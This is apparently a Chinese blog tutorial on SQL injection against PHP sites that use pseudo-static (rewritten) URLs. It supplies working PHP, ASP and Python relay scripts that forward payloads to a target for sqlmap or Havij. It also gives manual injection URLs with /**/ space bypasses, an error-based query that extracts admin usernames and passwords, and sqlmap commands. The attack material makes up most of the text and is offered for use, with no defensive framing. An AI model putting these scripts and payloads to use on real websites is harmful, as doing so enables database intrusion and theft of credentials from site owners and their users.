PHP针对伪静态的注入总结【附asp与Python相关代码】


Posted in PHP onAugust 01, 2017

本文实例讲述了PHP针对伪静态的注入。分享给大家供大家参考,具体如下:

一:中转注入法

1.通过http://www.xxx.com/news.php?id=1做了伪静态之后就成这样了
http://www.xxx.com/news.php/id/1.html

2.测试步骤:

中转注入的php代码:inject.php

<?php
set_time_limit(0);
$id=$_GET["id"];
$id=str_replace(” “,”%20″,$id);
$id=str_replace(“=”,”%3D”,$id);
//$url = "http://www.xxx.com/news.php/id/$id.html";
$url = "http://www.xxx.com/news.php/id/$id.html";
//echo $url;
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, "$url");
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_HEADER, 0);
$output = curl_exec($ch);
curl_close($ch);
print_r($output);
?>

3.本地环境搭建PHP,然后访问http://127.0.0.1/inject.php?id=1

通过sqlmap或者havj可以跑注入漏洞。

附录ASP中转代码:

<%
JmdcwName=request("id")
JmStr=JmdcwName
JmStr=URLEncoding(JmStr)
JMUrl="http://192.168.235.7:8808/ad/blog/"  //实际上要请求的网址
JMUrl=JMUrl & JmStr&".html"    //拼接url
response.write JMUrl&JmStr    //我这里故意输出url来看
'JmRef="http://127.0.0.1/6kbbs/bank.asp"
JmCok=""
JmCok=replace(JmCok,chr(32),"%20") 
JmStr=URLEncoding(JmStr)  
response.write  PostData(JMUrl,JmStr,JmCok,JmRef) //url,查询字符串,cookie,referer字段
Function PostData(PostUrl,PostStr,PostCok,PostRef)  
Dim Http
Set Http = Server.CreateObject("msxml2.serverXMLHTTP")
With Http
.Open "GET",PostUrl,False
.Send ()
PostData = .ResponseBody
End With
Set Http = Nothing
PostData =bytes2BSTR(PostData)
End Function
Function bytes2BSTR(vIn)   //处理返回的信息
Dim strReturn
Dim I, ThisCharCode, NextCharCode
strReturn = ""
For I = 1 To LenB(vIn)
ThisCharCode = AscB(MidB(vIn, I, 1))
If ThisCharCode < &H80 Then
strReturn = strReturn & Chr(ThisCharCode)
Else
NextCharCode = AscB(MidB(vIn, I + 1, 1))
strReturn = strReturn & Chr(CLng(ThisCharCode) * &H100 + CInt(NextCharCode))
I = I + 1
End If
Next
bytes2BSTR = strReturn
End Function
Function URLEncoding(vstrin)    //发包前对参数的url编码一下
strReturn=""
Dim i
'vstrin=replace(vstrin,"%","%25") '增加转换搜索字符,
'vstrin=Replace(vstrin,chr(32),"%20") '转换空格,如果网站过滤了空格,尝试用/**/来代替%20
'vstrin=Replace(vstrin,chr(43),"%2B")  'JMDCW增加转换+字符
vstrin=Replace(vstrin,chr(32),"/**/")  '在此增加要过滤的代码 //这里很关键,方便啊,把空格自动换成/**/,后面会说到的
For i=1 To Len(vstrin)
ThisChr=Mid(vstrin,i,1)
if Abs(Asc(ThisChr))< &HFF Then
strReturn=strReturn & ThisChr
Else
InnerCode=Asc(ThisChr)
If InnerCode<0 Then
InnerCode=InnerCode + &H10000
End If
Hight1=(InnerCode And &HFF00) \&HFF
Low1=InnerCode And &HFF
strReturn=strReturn & "%" & Hex(Hight1) & "%" & Hex(Low1)
End if
Next
URLEncoding=strReturn
End Function
%>

二、手工注入法

1.http://www.xxx.com/play/Diablo.html
http://www.xxx.com/down/html/?772.html

2.测试注入:

http://www.xxx.com/down/html/?772′.html
http://www.xxx.com /play/Diablo'.html
http://www.xxx.com/play/Diablo'/**/and
/**/1='1 /*.html
http://www.xxx.com/play/Diablo'
/**/and
/**/1='2 /*.html
http://www.xxx.com/page/html/?56′/**/and/**/1=1/*.html 正常
http://www.xxx.com/page/html/?56′/**/and/**/1=2/*.html 出错

3.看页面是否存在差异,相同则不存在,不同存在注入。

4.联合查询:

http://www.xxx.com/play/diablo' and 1=2 union select 1,2… frominformation_schema.columns where 1='1.html
http://www.xxx.com/page/html/?56'/**/and/**/(SELECT/**/1/**/from/**/(select/**/count(*),concat(floor(rand(0)*2),(substring((select(version())),1,62)))a/**/from/**/information_schema.tables/**/group/**/by/**/a)b)=1/*.html

手工注入法(二)

http://www.xxx.net/news/html/?410.html
http://www.xxx.net/news/html/?410'union/**/select/**/1/**/from/**/(select/**/count(*),concat(floor(rand(0)*2),0x3a,(select/**/concat(user,0x3a,password)/**/from/**/pwn_base_admin/**/limit/**/0,1),0x3a)a/**/from/**/information_schema.tables/**/group/**/by/**/a)b/**/where'1'='1.html

注:

伪静态的注入和URL的普通GET注入不太相同

。普通url的get注入的%20,%23,+等都可以用;但是伪静态不行,会被直接传递到到url中,所以用/**/这个注释符号表示空格。

三、SQLmap方法

在sqlmap中伪静态哪儿存在注入点就加*
http://www.cunlide.com/id1/1/id2/2
python   sqlmap.py -u “http://www.xxx.com/id1/1*/id2/2″
http://www.xxx.com/news/class/?103.htm
python  sqlmap.py -u  “http://www.xxx.com/news/class/?103*.html”

四、python脚本方法

代码:

from BaseHTTPServer import *
import urllib2
class MyHTTPHandler(BaseHTTPRequestHandler):
 def do_GET(self):
  path=self.path
  path=path[path.find('id=')+3:]
  proxy_support = urllib2.ProxyHandler({"http":"http://127.0.0.1:8087"})
  opener = urllib2.build_opener(proxy_support)
  urllib2.install_opener(opener)
  url="http://www.xxx.com/magazine/imedia/gallery/dickinsons-last-dance/"
  try:
   response=urllib2.urlopen(url+path)
   html=response.read()
  except urllib2.URLError,e:
   html=e.read()
  self.wfile.write(html)
server = HTTPServer(("", 8000), MyHTTPHandler)
server.serve_forever()

希望本文所述对大家PHP程序设计有所帮助。

PHP 相关文章推荐
用php+mysql一个名片库程序
Oct 09 PHP
php与XML、XSLT、Mysql的结合运用实现代码
Nov 19 PHP
php读取本地文件常用函数(fopen与file_get_contents)
Sep 09 PHP
PHP生成图片验证码、点击切换实例
Jun 25 PHP
php中addslashes函数与sql防注入
Nov 17 PHP
php封装的page分页类完整实例
Oct 18 PHP
php mysql procedure实现获取多个结果集的方法【基于thinkPHP】
Nov 09 PHP
PHP实现登录注册之BootStrap表单功能
Sep 03 PHP
php微信公众号开发之校园图书馆
Oct 20 PHP
RSA实现JS前端加密与PHP后端解密功能示例
Aug 05 PHP
laravel-admin 实现给grid的列添加行数序号的方法
Oct 08 PHP
PHP简单实现图片格式转换(jpg转png,gif转png等)
Oct 30 PHP
Laravel 的数据库迁移的方法
Jul 31 #PHP
PHP实现webshell扫描文件木马的方法
Jul 31 #PHP
PHP/ThinkPHP实现批量打包下载文件的方法示例
Jul 31 #PHP
Thinkphp结合AJAX长轮询实现PC与APP推送详解
Jul 31 #PHP
php实现将二维关联数组转换成字符串的方法详解
Jul 31 #PHP
微信接口生成带参数的二维码
Jul 31 #PHP
PHP判断一个数组是另一个数组子集的方法详解
Jul 31 #PHP
You might like
法国:浪漫之都的咖啡文化
2021/03/03 咖啡文化
PHP 实现多服务器共享 SESSION 数据
2009/08/15 PHP
Memcached常用命令以及使用说明详解
2013/06/27 PHP
PHP框架实现WebSocket在线聊天通讯系统
2019/11/21 PHP
PHP数组Key强制类型转换实现原理解析
2020/09/01 PHP
PHP 使用位运算实现四则运算的代码
2021/03/09 PHP
网页前台通过js非法字符过滤代码(骂人的话等等)
2010/05/26 Javascript
jQuery对val和atrr(&quot;value&quot;)赋值的区别介绍
2014/09/26 Javascript
深入理解JavaScript系列(42):设计模式之原型模式详解
2015/03/04 Javascript
JS/jquery实现一个网页内同时调用多个倒计时的方法
2017/04/27 jQuery
vue 2.x 中axios 封装的get 和post方法
2018/02/28 Javascript
vue实现条件叠加搜索的解决方法
2019/05/28 Javascript
layui动态绑定事件的方法
2019/09/20 Javascript
JavaScript数值类型知识汇总
2019/11/17 Javascript
在Python下使用Txt2Html实现网页过滤代理的教程
2015/04/11 Python
Python实现简单的代理服务器
2015/07/25 Python
Python3.6基于正则实现的计算器示例【无优化简单注释版】
2018/06/14 Python
python3实现名片管理系统
2020/11/29 Python
解决python测试opencv时imread导致的错误问题
2019/01/26 Python
详解python--模拟轮盘抽奖游戏
2019/04/12 Python
pycharm中显示CSS提示的知识点总结
2019/07/29 Python
python tkinter实现连连看游戏
2020/11/16 Python
利用html5 file api读取本地文件示例(如图片、PDF等)
2018/03/07 HTML / CSS
美国演唱会和体育门票购买网站:Ticketnetwork
2018/10/19 全球购物
HQhair美国/加拿大:英国化妆品、美容及美发产品商城
2019/04/15 全球购物
某个公司的Java笔面试题
2016/03/11 面试题
Python面试题:如何用Python来发送邮件
2016/03/15 面试题
工程班组长岗位职责
2013/12/30 职场文书
小学红领巾中秋节广播稿
2014/01/13 职场文书
法学专业自我鉴定
2014/02/05 职场文书
怎样填写就业意向
2014/04/02 职场文书
电话营销开场白
2015/05/29 职场文书
大学生读书笔记大全
2015/07/01 职场文书
你会写请假条吗?
2019/06/26 职场文书
Go 自定义package包设置与导入操作
2021/05/06 Golang
Django模型层实现多表关系创建和多表操作
2021/07/21 Python